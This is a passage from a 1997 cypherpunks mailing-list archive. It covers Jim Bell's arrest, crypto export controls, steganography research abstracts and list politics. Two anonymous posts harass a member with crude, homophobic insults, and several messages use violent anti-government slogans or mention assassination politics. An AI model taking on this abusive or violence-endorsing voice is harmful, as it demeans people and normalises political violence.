> foreseeable future. I know I plan to skip them all. A gathering of "reputed
> information terrorists, who have openly discussed assassination markets, C4
> explosives, and the destabilization of democratic governments" would be too
> ripe a target for clowns like Reno, Freeh, and Kallstrom.)

The physical meetings I've been to were not worth the trip.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Tue, 20 May 1997 01:32:35 +0800
To: Alan Olsen <alan@ctrl-alt-del.com>
Subject: Re: Jim Bell goes to Jail!
Message-ID: <3.0.32.19970519101346.00714fe0@netcom13.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 09:17 AM 5/19/97 -0700, Alan Olsen wrote:
>At 12:08 AM 5/19/97 -0700, Lucky Green wrote:
>
>>There are two reasons I can think of immediately why the feds would keep
>>the warrant sealed. The first is that they don't want to reveal just how
>>little evidence they have. The second reason is that the warrant might give
>>some clue as to future actions/other suspects. Remember that the IRS agent
>>found the AP essay by means of an Internet search engine. That almost
>>certainly means he is following the discussions about Jim Bell on the Net.
>>Such as the discussion on Cypherpunks.
>
>Actually the agent claimed to have found it among some papers in Jim's car
>when the seized it for back taxes.

I stand corrected. The essay was found in the car. However, after the essay
was  found the agent searched the Internet for copies of the essay and
posts by Jim Bell discussing it. The agent's original affidavit states the
number of AP related post by Jim the fed could find via a search engine.



-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred

   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 20 May 1997 02:07:56 +0800
To: cypherpunks@cyberpass.net
Subject: Bypassing U.S. export laws at physical meetings
In-Reply-To: <3.0.2.32.19970518122618.00aa85e0@mail.teleport.com>
Message-ID: <v03007801afa6506d9816@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 8:33 AM -0800 5/19/97, John W. Noerenberg wrote:
>At 12:26 PM -0700 5/18/97, Alan Olsen wrote:
>>
>>Have you noticed that none of the PGP people have posted as of late?  I
>>wonder if they were among the "purged".
>>
>
>I understand they are taking a very narrow interpretation of the
>prohibition about rendering technical assistance to non-US citizens.
>Mailing lists may not be public enough, so they are being cautious.
>

Interestingly, PGP staffers have been "helping" exports at physical
Cypherpunks meetings...which they view as ideal fora for bypassing the U.S.
laws. Companies wishing to communicate important crypto information to
foreign developers have used the physical meetings to do this "legally" (so
they claim...I'm not a lawyer).

(That several Japanese nationals were at one such meeting, picking up the
PGP documentation, did not matter. Nor did it matter that the presentation
was videotaped for non-U.S. distribution. Nor that other foreign nationals
were in the audience.)

Of course, if Prof. Junger loses his case, I suppose we'll have to check
for passports at the door.

(Though such checking of passports probably violates other laws about
discrimination. For example, the "Egghead example" (does Egghead face
charges if it sells to a foreigner?). Does Egghead get in
antidiscrimination trouble if it asks to see some documentation on
dark-skinned or foreign-looking persons, while not, obviously, demanding
passports from white-skinned or black-skinned 'Muricans?)

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 20 May 1997 02:18:27 +0800
To: cypherpunks@algebra.com
Subject: RE: Jim Bell goes to Jail--We should avoid raidable, physicalmeeting
In-Reply-To: <01BC643D.699ED1D0@marmoset.loc201.tandem.com>
Message-ID: <v03007802afa652f5305e@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 9:14 AM -0800 5/19/97, Chris DiBona wrote:
><RANT>
>
>I couldn't disagree with you more Tim.
>
>If the FBI wants to come raid a Cypherpunk meeting and arrest me, they
>should be ready for a law suit that will make thier heads spin. I mean can
>you think of anything more protected by the first amendment than a bunch
>of hobbiest getting together to discuss math, for christs sakes? I know a
>couple of lawyers who would drool at the chance to defend someone who is
>lily white and is arrested for meeting and discussing prime numbers.
>
>To suggest the cessation of meetings (no matter how worthless Dimitri)
>really seems to me to be counter to everything this group is about.


Fine that you disagree. I think a lot of Feds would view a meeting of 40-50
people discussing assassination politics, violating U.S. export laws,
modifications of semi-automatic rifles to make them more effective in
counter-gov't-terrorism, etc, to be a "ripe target." Good for publicity on
the evening news.

(At the 20-30 meetings I have been at over the last almost 5 years, very
few of them have revolved around "discussing prime numbers.")

Whether it stands up in court depends on the charges. As for you being
willing to file a lawsuit that will make their heads spin, good for you.
But to win a lawsuit, one has to have a case. And the laws are written
broadly these days, and I doubt such a case would be won.

(Did anything ever come of the police actions at the "2600" meetings in
D.C. a few years back? I don't recall all of the details, but I gather the
cops either moved in and made arrests, or maybe just watched and took down
license plate numbers.)

By all means, have meetings. I just intend to be in places where I can have
defensive weapons at the ready (which has been at some Cypherpunks physical
meetings, of course).

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Burnes <jim.burnes@ssds.com>
Date: Tue, 20 May 1997 01:29:29 +0800
To: "William H. Geiger III" <whgiii@amaranth.com>
Subject: Re: Nature of Anarchy/ Anarchy of Nature
In-Reply-To: <199705190036.TAA19421@mailhub.amaranth.com>
Message-ID: <Pine.LNX.3.95.970519111207.487B-100000@westsec.denver.ssds.com>
MIME-Version: 1.0
Content-Type: text/plain




On Sun, 18 May 1997, William H. Geiger III wrote:

> -----BEGIN PGP SIGNED MESSAGE-----
> 
> 
> In <v03007802afa54d564265@[10.0.2.15]>, on 05/18/97 at 06:25 PM,
>    Steve Schear <azur@netcom.com> said:
> 
> 
> >At 5:52 PM -0500 5/18/97, William H. Geiger III wrote:
> >>-----BEGIN PGP SIGNED MESSAGE-----
> >>
> >>
> >>In <199705182225.PAA03246@fat.doobie.com>, on 05/18/97 at 04:25 PM,
> >>   nobody@huge.cajones.com (Huge Cajones Remailer) said:
> >>
> >>
> >>[New Age Snip]
> >>
> >>>I believe this was a major quantum leap in the history of  human  thought
> >>>and concioussness. A giant step in the right direction of our  true
> >>>divinity but it was sorely flawed; By the concept of property  rights.
> >>>This is where the founding fathers eogos got in the way.
> >>
> >>>The liberation movements of the last century have been based on the  same
> >>>concept of unalienable rights and have attempted to fine tune  the
> >>>document for  a more equitable distribution of planet power to  correct
> >>>the flaw.
> >>
> >><sigh> There is a fundamental fact of politics/economics that a socialist
> >>economy and a democratic political structure can not co-exsist.
> >>
> >>The concept of property rights is not a flaw but the foundation on which
> >>the constitution and this country is built on. Without the ability to
> >>controll ones own property all other rights fall by the wayside.

> >>
> >>I sugest reading "The Wealth of Nations" by Adam Smith for a better
> >>understanding of Capitalism and why it is the *only* economic model that
> >>works for a free society.
> >>
> 

> >Even better, "The Road to Surfdom," F.A. Hayek, totally debunks the basis
> >of a planned economy and how the loss of property ownership and economic
> >freedom leads directly and inevitably to totalitarianism.
> 

> Yes, very good read. Have you read any of his other works?
> 
> I thought that Smith was a good start as it was his economic philosophy
> that guided our founding fathers.
> 
> I find it rather depressing that too few people understand the
> relationships between economics & politics and how they affect the freedom
> of the individule. 
> 

Or more succinctly put:

"Without private property there can be no privacy"

                   -anonymous
                   (how appropriate - anonymous quotes on cypherpunks)

Jim Burnes






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Hal Finney <hal@rain.org>
Date: Tue, 20 May 1997 03:08:58 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Information Hiding Workshop
Message-ID: <199705191846.LAA31650@crypt.hfinney.com>
MIME-Version: 1.0
Content-Type: text/plain


> WWW version of cfp at http://www.cl.cam.ac.uk/users/rja14/ihws.html
>
> Details of the first (1996) information hiding workshop are at
> http://www.cl.cam.ac.uk/users/fapp2/steganography/bibliography/workshop.html

The second URL above has abstracts from the conference, many of which sound
very interesting from a CP point of view.  It's kind of strange though that
this topic encompasses both steganography and fingerprinting.  The first
has connotations of freedom, while the second connotes restrictions.  What
both have in common is embedding information undetectably and/or unremovably.

The conference proceedings, "Information Hiding", are currently checked out
from the local university library but I will be looking for them.  There
sounds like a lot of good stuff.  Check out the URL for the T. Aura paper
below; it has some statistics on actual LSB distributions in digital
images, with implications for doing truly undetectable stego.

Below are a few of the abstracts, with URL's for more info where available.

Hal

===

Stretching the Limits of Steganography 

R Anderson, Info Hiding 96 pp 39--48 

The author provides a brief overview of the state of the art in
steganography, and shows how public key steganography is possible ---
at least in the presence of a passive warden. The basic idea is that
if the communicating parties can manipulate at least one out of n bits
in the cover text, then the warden can not distinguish the parity of
successive blocks of n bits from random noise; accordingly these parity
bits can be used to hide cipher text in plain sight. Information theoretic
limits of general steganography are also discussed, and it is shown
that parity techniques can make many systems more efficient. Finally,
the differential effectiveness of active and passive wardens is discussed.

http://www.cl.cam.ac.uk/ftp/users/rja14/stegan.ps.gz 

===

Computer Based Steganography: How It Works and Why Therefore Any
Restrictions on Cryptography Are Nonsense, At Best 

E Franz, A Jerichow, S Möller, A Pfitzmann, I Stierand, Info Hiding 96 pp 7--21 

The authors discuss a system for hiding ciphertext in the low order bits
of an ISDN telephone signal, and report measurements of the perceptibility
of various covert signal levels as a function of the cover signal and
background noise. They also discuss the meaning of perfect and pragmatic
security in the stego context. They argue that steganography is easy,
and thus restrictions on crypto will simply force criminals to use stego
which will make the law enforcement job harder.

===

Practical Invisibility in Digital Communications 

T Aura, Info Hiding 96 pp 265--278 

The author discusses some of the problems of information hiding,
including synchronising with a cover message which is a stream such
digital audio. Where the cover message is a block, such as a digital
picture, his technique is to use the Luby-Rackoff construction to
embed the hidden bits pseudorandomly throughout the picture. A test
implementation using SHA as the underlying primitive is reported.

http://deadlock.hut.fi/ste/ste_html.html
http://www.tcm.hut.fi/Opinnot/Tik-110.501/1995/steganography.html 

===

Establishing Big Brother Using Covert Channels and Other Covert Techniques 

Y Desmedt, Info Hiding 96 pp 65--71 

The author discusses a number of ways in which covert technologies
that are initially deployed for relatively mundane purposes, such as
copyright protection, can end up being subverted to provide the means
of surveillance. This problem could become progressively more serious
as more and more everyday objects become endowed with some kind of
intelligence and communications capability.

===

Anonymous Addresses and Confidentiality of Location 

IW Jackson, Info Hiding 96 pp 115--120 

The author describes how anonymous remailers can be used to process
personal location information from active badges. The goal is that each
user should be able to control who has access to information about his
location; the mechanism is that the remailers forward this information
to a server that the user trusts to enforce his security policy. The
crypto protocols used in this system are described.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ross Anderson <Ross.Anderson@cl.cam.ac.uk> (by way of Alec <camcc@abraxis.com>)
Date: Tue, 20 May 1997 01:24:50 +0800
To: Cypherpunks <cypherpunks@toad.com>
Subject: Information Hiding Workshop
Message-ID: <3.0.1.32.19970519115532.007b0b90@smtp1.abraxis.com>
MIME-Version: 1.0
Content-Type: text/plain



			Call for Papers 

		WORKSHOP ON INFORMATION HIDING

		      15 - 17 April 1998

		       Portland, Oregon


Many researchers are interested in hiding information or in stopping other
people doing this. Current research themes include copyright marking of 
igital objects, covert channels in computer systems, subliminal channels 
in cryptographic protocols, low-probability-of-intercept communications,
broadcast encryption schemes, and various kinds of anonymity services 
ranging from steganography through location security to digital elections.

These closely linked areas of study were brought together in 1996 by a
workshop on information hiding held at the Isaac Newton Institute in
Cambridge. This was felt to be very worthwhile by the research community, 
and it was decided to hold a second workshop in 1998.

This second international workshop on information hiding will be held in 
Portland, Oregon from the 15th to the 17th April 1998. 


Instructions for authors:

Interested parties are invited to submit papers on research and practice
which are related to these areas of interest. Submissions can be made
electronically (latex or postscript; preferred format is latex using
llncs.sty) or in paper form; in the latter case, send eight copies
suitable for blind refereeing (the authors' names should be on a separate
cover sheet and there should be no obvious references). Papers should not
exceed fifteen pages in length.


Addresses for submission:

	awk@mailbox.jf.intel.com

	David Aucsmith
	Intel Architecture Labs
	5200 N. E. Elam Young Parkway
	Hillsboro, OR 97124-6497
	USA


Deadlines:

	Paper submission:               		31st December 1997
	Notification of acceptance:     		28th February 1998
	Camera-ready copy for preproceedings:   	31st March 1998
	Camera-ready copy for final proceedings:	31st May 1998


Program committee:

	David Aucsmith (Intel) - chair
	Ross Anderson (Cambridge University)
	Steve Low (AT&T Bell Laboratories)
	Ira Moskowitz (US Naval Research Laboratory)
	Andreas Pfitzmann (Technical University of Dresden)
	Jean-Jacques Quisquater (Catholic University of Louvain)
	Gus Simmons (University of New Mexico)
	Michael Waidner (IBM, Zuerich)


WWW version of cfp at http://www.cl.cam.ac.uk/users/rja14/ihws.html

Details of the first (1996) information hiding workshop are at
http://www.cl.cam.ac.uk/users/fapp2/steganography/bibliography/workshop.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Tue, 20 May 1997 03:52:07 +0800
To: cypherpunks@toad.com
Subject: Message
Message-ID: <199705191923.MAA21631@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


Date: Thu, 15 May 1997 20:03:35 -0600 (MDT)
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
To: lucifer Anonymous Remailer <lucifer@dhp.com>
Cc: cypherpunks@toad.com
Subject: Re: [CRYPTO] Blowfish
Sender: owner-cypherpunks@toad.com



I think Vulis needs each of us to send ten copies of this back
to him.                                                          
   On Thu, 15 May 1997, lucifer Anonymous Remailer wrote:

> Here, Tim C. May descends into Graham-John Bullers. He should have a cold shower and/or a Turkish coffee.
> 
>           ___\
>          <o   \__o  Tim C. May
>           X\     X>
>         _/_\____<_\_
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Modulator of alt.2600.modulated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 20 May 1997 01:37:54 +0800
To: cypherpunks@toad.com
Subject: Re: Need some info...
In-Reply-To: <Pine.LNX.3.95.970519175138.20129P-100000@sdnpk.undp.org>
Message-ID: <qFNy7D2w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


"Wasim Q. Malik" <wmalik@sdnpk.undp.org> writes:

> Hi.
> 
> I'm gonna give a talk on the subject of hacking/security soon. Need your
> help with it.
> 
> Things that I'm gonna include are: 
> 	what is hacking, 
> 	ethics of hacking,
> 	psychlogy of hacking, 
> 	other abstracts. 
> 
> 	Some technical stuff, such as hacking tools and tactics, including
> 		IP spoofing,
> 		packet sniffing,
> 		cracker programs, 
> 		keyloggers, 
> 		progs like satan, etc.
> 
> 
> Can you suggest some additional stuff to be included, or if you have any
> resources (URLs, articles, progs, HOW-TOs, graphics, anything!), related
> to any of the above topics, technical or whatever, please please do send
> it over. 
> 
> Your suggestions will be a great help, as well as any info.
> 
> Thanks.
> 
> 
> 
> Wasim Q. Malik
> Network Security Expert
> SDNP Pakistan
> 

is this going to be in NYC?  Can I come and listen?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 20 May 1997 07:59:18 +0800
To: cypherpunks@toad.com
Subject: Re: Jim Bell goes to Jail!
In-Reply-To: <199705191512.IAA21302@netcom21.netcom.com>
Message-ID: <Pwoy7D1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


mpd@netcom.com (Mike Duvos) writes:

> Lucky Green writes:
> 
> : Right. I read a book on that. I think it was called "The Millgram
> : Experiment". Normal people would administer (fake, but they didn't know
> : it) electroshocks to a subject even after the subject had stopped moving
> : and could have been assumed to be unconscious or even dead. An excellent
> : demonstration of the power of authority. And the gullibility of the
> : average person. 
> 
> Stanley Millgram did quite a few experiments along such lines.  His
> conclusion after persuading quite ordinary people to administer what
> seemed to be fatal electric shocks to a subject, pressured only by the
> orders of an authority figure saying "The experiment must continue"  and
> other such phrases, was that should the United States wish to set up a
> system of Nazi style death camps, personnel to staff them could be taken
> from the population of any average midwestern town. 
> 
> He also did another interesting experiment called "prisoners and guards"
> in which he selected people at random and dressed them up in the
> appropriate uniforms.  The guards happily abused the prisoners, falling
> into the appropriate roles almost automatically. 
> 
> Of course, such psychological experiments are banned today, because they
> don't make it through the ethics committees.  Nonetheless they demonstrate
> that there are few differences between "us" and "them," and that most
> ordinary people will rise to the occasion when given a new pair of
> jackboots. 


I recently came across a very similar incident on the Usenet newsgroup
alt.smokers.cigars.  (Disclaimer: I don't smoke, at least not cigars.)

In a nutshell, some business person came across this (pretty active)
newsgroup (he was not around when it was newgrouped and became pretty
active), declared it its property, and began to retromoderate it (i.e.
forge cancels for any traffic he didn't like).  He kept claiming that
he is some kind of "Usenet Administrator with Full Access". A couple
of searches in DejaNews will turn up plenty of amazing responses from
the regulars in the newsgroups bending over and baaing, "We're not
questioing Bob's authority as a Usenet Administrator, nor the way he
chooses to fuck us over..." Recommended reading.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Bill Campbell" <wcampbel@peganet.com>
Date: Tue, 20 May 1997 02:14:35 +0800
To: cypherpunks@toad.com
Subject: Availability of Pini's CryptoCD
Message-ID: <199705191804.OAA17101@mercury.peganet.net>
MIME-Version: 1.0
Content-Type: text/plain


I've been trying to get a copy of the Crypto CD using the ISBN
number he used to have listed on his web page. However, every
bookstore I've checked with can find no reference to it. Has
anyone on the list gotten it via this method? I looked for
Pini's web page but it appears to be gone. Anyone know
about sources for the CD?

Thanks

=Bill=





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Bill Campbell" <wcampbel@peganet.com>
Date: Tue, 20 May 1997 02:19:53 +0800
To: cypherpunks@toad.com
Subject: Availability of Pini's CryptoCD
Message-ID: <199705191805.OAA17152@mercury.peganet.net>
MIME-Version: 1.0
Content-Type: text/plain


I've been trying to get a copy of the Crypto CD using the ISBN
number he used to have listed on his web page. However, every
bookstore I've checked with can find no reference to it. Has
anyone on the list gotten it via this method? I looked for
Pini's web page but it appears to be gone. Anyone know
about sources for the CD?

Thanks

=Bill=





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Michael Wilson <0005514706@mcimail.com>
Date: Tue, 20 May 1997 03:41:24 +0800
To: cypherpunks <cypherpunks@algebra.com>
Subject: [PROJECT] Virtual c'punks forum
Message-ID: <97051919274736/0005514706DC3EM@mcimail.com>
MIME-Version: 1.0
Content-Type: text/plain


Tim May recently made some comments that it might be a good idea to
avoid having any physical meetings of cypherpunks for the near future,
given the Jim Bell circumstance.  This ties in with a project that I
am currently undertaking, and I thought I would solicit assistance
from the cypherpunks at large.

Those of you familiar with the mechanisms of the net may be familiar
with the concept of MUSHes (a variant of the Multi User Domain or
MUD).  While email/lists are a wonderful asynchronous communication
tool, the value of an interactive medium which provides real-time
discussion is a piece of the overall communication spectrum that has
been overlooked (mostly).  New efforts to move audio or video are
interesting, but the net bandwidth needed is extreme at this stage,
and frankly 'a word is worth a thousand pictures.'

Myself and a friend would like to initiate a MUSH oriented around
creating a virtual meeting place for virtual organizations, such as
the cypherpunks.  Chat systems like IRC don't provide a context,
or some of the nifty features you can build into a MUSH.  We can
provide the coding muscle (although help is always welcome--MUSHcode
is a bastard variant similar to C or PASCAL, with some LISPy list
processing), but we need a host to provide us with a machine.  If
you might be interested, drop me a line, I can feed you the MUSH
requirements (light--~20M disk space, and light processing, since
you're just moving text).

A MUSH for a virtual organization will provide benefits:
-- an 'avatar' address in the net where people can leave you mail or
connect for an interactive discussion;
-- a virtual space, like an office, for people who want one;
-- meeting rooms, with logging available;
-- simulations;
-- briefings, so for instance, a newbie to cypherpunks could be told
the address and they could log in to receive a canned (but still more
interactive) discussion of cypherpunk issues and technology, as well
as the option to talk with other c'punks;
-- clients for MUSHes are freely available (including window and
shell variants), and we could also hack together a secure client;
this will also be a good time to work out 'anonymous telnet' systems
(MUSHes allow admin to see the host of origin, but not username).

We would like to begin this project inside the next few weeks, and
we could have something reasonably functional inside of a month after
that.  Incidentally, this is a project we've been working on for some
time, just that the need and utility have suddenly become timely.

Michael Wilson
5514706@mcimail.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Tue, 20 May 1997 04:56:12 +0800
To: Anonymous <nobody@replay.com>
Subject: Re: Forgery detection
In-Reply-To: <199705191758.TAA01839@basement.replay.com>
Message-ID: <Pine.A41.3.95.970519143524.48768A-100000@freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain


On Mon, 19 May 1997, Anonymous wrote:

I think Vulis needs each of us to send ten copies of this back to him.

> Tim C. May is just another garden variety Intel pansy that has been misusing its 
> `manhole' so badly that the overstretched sphincter cannot hold back the shit that 
> all Intellers are full of and it spills out onto this mailing list.
> 
>             /\_/\
>            ( x x )
>        -oo0-(o o)-0oo- Tim C. May
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Tue, 20 May 1997 06:44:36 +0800
To: Robert Hettinga <rah@shipwright.com>
Subject: Incorporating in Nevada
In-Reply-To: <v03020903afa3b44feaa4@[139.167.130.248]>
Message-ID: <v03007801afa6834b9f41@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="Boundary..3954.1071713699.multipart/mixed"

--Boundary..3954.1071713699.multipart/mixed
Content-Type: text/plain
Content-Transfer-Encoding: 7bit

While doing research for incorporation, I came across some interesting
information regarding how Nevada's laws are more corporate friendly (see
small attachment). Interestingly, one need not be a Nevada resident to
incorporate (there are a slew of Nevada companies waiting to create and
"publically" operate the corporation on your anonymous behalf).

Enjoy!

--Steve

Chapter_3.pdf


PGP mail preferred
Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
Key available on BAL server, http://www-swiss.ai.mit.edu/~bal/pks-toplev.html
---------------------------------------------------------------------
Steve Schear              | tel: (702) 658-2654
CEO                       | fax: (702) 658-2673
First ECache Corporation  |
7075 West Gowan Road      |
Suite 2148                |
Las Vegas, NV 89129       | Internet: azur@netcom.com
---------------------------------------------------------------------

        I know not what instruments others may use,
         but as for me, give me Ecache or give me debt.

        SHOW ME THE DIGITS!

--Boundary..3954.1071713699.multipart/mixed
Content-Type: application/octet-stream; name="hqx00000.hqx"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="hqx00000.hqx"
Content-Description: ""

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Tue, 20 May 1997 04:08:04 +0800
To: cypherpunks@toad.com (Cypherpunks Mailing List)
Subject: Sun to sell 3des from Russia
Message-ID: <199705191940.PAA00414@homeport.org>
MIME-Version: 1.0
Content-Type: text/plain


http://cnnfn.com/digitaljam/9705/19/sun/


 Sun will reportedly sell encryption software through a Russian firm
 May 19, 1997: 6:26 a.m. ET
                     NEW YORK (CNNfn) -- In an attempt to get
                     around U.S. regulations regarding the export
                     of encryption technology, Sun Microsystems
                     Inc. is reportedly planning to sell data
                     security software internationally through a
                     Russian supplier. 

-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Tue, 20 May 1997 03:47:58 +0800
To: Tim May <cypherpunks@algebra.com
Subject: RE: Jim Bell goes to Jail--We should avoid raidable, physical meeting
In-Reply-To: <01BC643D.699ED1D0@marmoset.loc201.tandem.com>
Message-ID: <3.0.2.32.19970519154301.03891524@panix.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 11:07 AM 5/19/97 -0800, Tim May wrote:

>Whether it stands up in court depends on the charges. As for you being
>willing to file a lawsuit that will make their heads spin, good for you.
>But to win a lawsuit, one has to have a case. And the laws are written
>broadly these days, and I doubt such a case would be won.

It might be hard to win lawsuits *against* the Feds although Steve Jackson 
Games did and other false arrest suits have succeeded.  The reverse of this
is 
that the Feds would have a very hard time winning a criminal case based on 
mass arrests at a Cypherpunks meeting.  They have lost loads of First 
Amendment busts over the years.  They have also lost the last few sedition 
cases they've brought even though the targets (white supremecists) were less 
popular than we would prove to be in court.  Many of us also have the 
intellectual and financial resources to mount an effective defense.  They 
would lose.

>(Did anything ever come of the police actions at the "2600" meetings in
>D.C. a few years back? I don't recall all of the details, but I gather the
>cops either moved in and made arrests, or maybe just watched and took down
>license plate numbers.)

Everything dismissed.  Just harrassment.  There were some actual arrests for 
tresspassing.  Cypherpunks meetings, however, are held with the permission of 
the building owners so such charges would fail in our case. 

I think the Feds case against JB is probably pretty weak.  Though we don't 
know the extent of his actions in the physical (as opposed to the spiritual) 
realm.  Arrests are frequently used to intimidate but dismissals or failure
to 
prosecute are very common in cases involving political dissent.

DCF

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Martin Minow <minow@apple.com>
Date: Tue, 20 May 1997 08:59:12 +0800
To: Tim May <cypherpunks@cyberpass.net
Subject: Re: SIC SEMPER TYRANNIS
In-Reply-To: <3.0.32.19970519000650.0075509c@netcom13.netcom.com>
Message-ID: <v03010d00afa69bff8ac5@[17.219.102.72]>
MIME-Version: 1.0
Content-Type: text/plain


Tim May wrote:
>
>Also, my tag line, "Death to tyrants!" is straight out of the Founders'
>mouths.
>
Umm, I may be mistaken, but I believe that "Sic Semper Tyrannis" translates as
"thus always to tyrants" and was spoken by John Wilkes Booth when he
assasinated
President Lincoln.

Pedantically yours,

Martin Minow
minow@apple.com







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Wed, 21 May 1997 00:21:04 +0800
To: Blanc <blancw@cnw.com>
Subject: Re: Just Say "No" to Congress
In-Reply-To: <3.0.32.19970519010058.00685bdc@cnw.com>
Message-ID: <Pine.LNX.3.91.970519164935.2660B-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> On the other hand, he obviously believes in the authority of the US
> government, as he has always supported it in arguments on the list,
> especially in counter arguments against TCM.
> 
> So, it appears that VZN is not *ready* to hold the government accountable,
> preferring not to protest when his own money is withheld for him, but
> hypocritically wondering when everyone will make this will happen.

I have (rarely) heard reasonable noises coming for VZN`s direction, so I 
read most of his posts, or at least allow them a cursory glace, however, 
it does not suprise me when he rants.

> However, he's correct:   similar to the argument I made about there being
> no difference between those who kill the good along with the bad & the ugly
> (that's from the title of a Clint Eastwood movie, for those who aren't
> familiar with that line),  all those who argue for morality and libertarian
> ideals, but still "give in" when it comes to tax time, are all losers. <g>    

I made a point a while ago on this list, which I felt strongly was 
correct at the time and I still feel as strongly now but this argument 
draws parallels which made me think again:

I stated that anyone who, in a situation of military conscription, fought 
for a country or a cause they did not believe in, simply to avoid 
punishment for refusal to fight, was a coward.

I still believe this, but really taxation is simply paying the government 
to be your hitman for you, your tax money pays the governments barbaric 
killing and warmongering, you cannot wash your hands of this simply by 
arguing that you did not choose for the money to pay for a war, you have 
to draw the conclusion that by funding the government and the state you 
fund killing and violence elsewhere in the world.

However, I can also draw your attention to a post a while ago which made 
an analogy with an armed robbery. If someone pokes a gun in your face in 
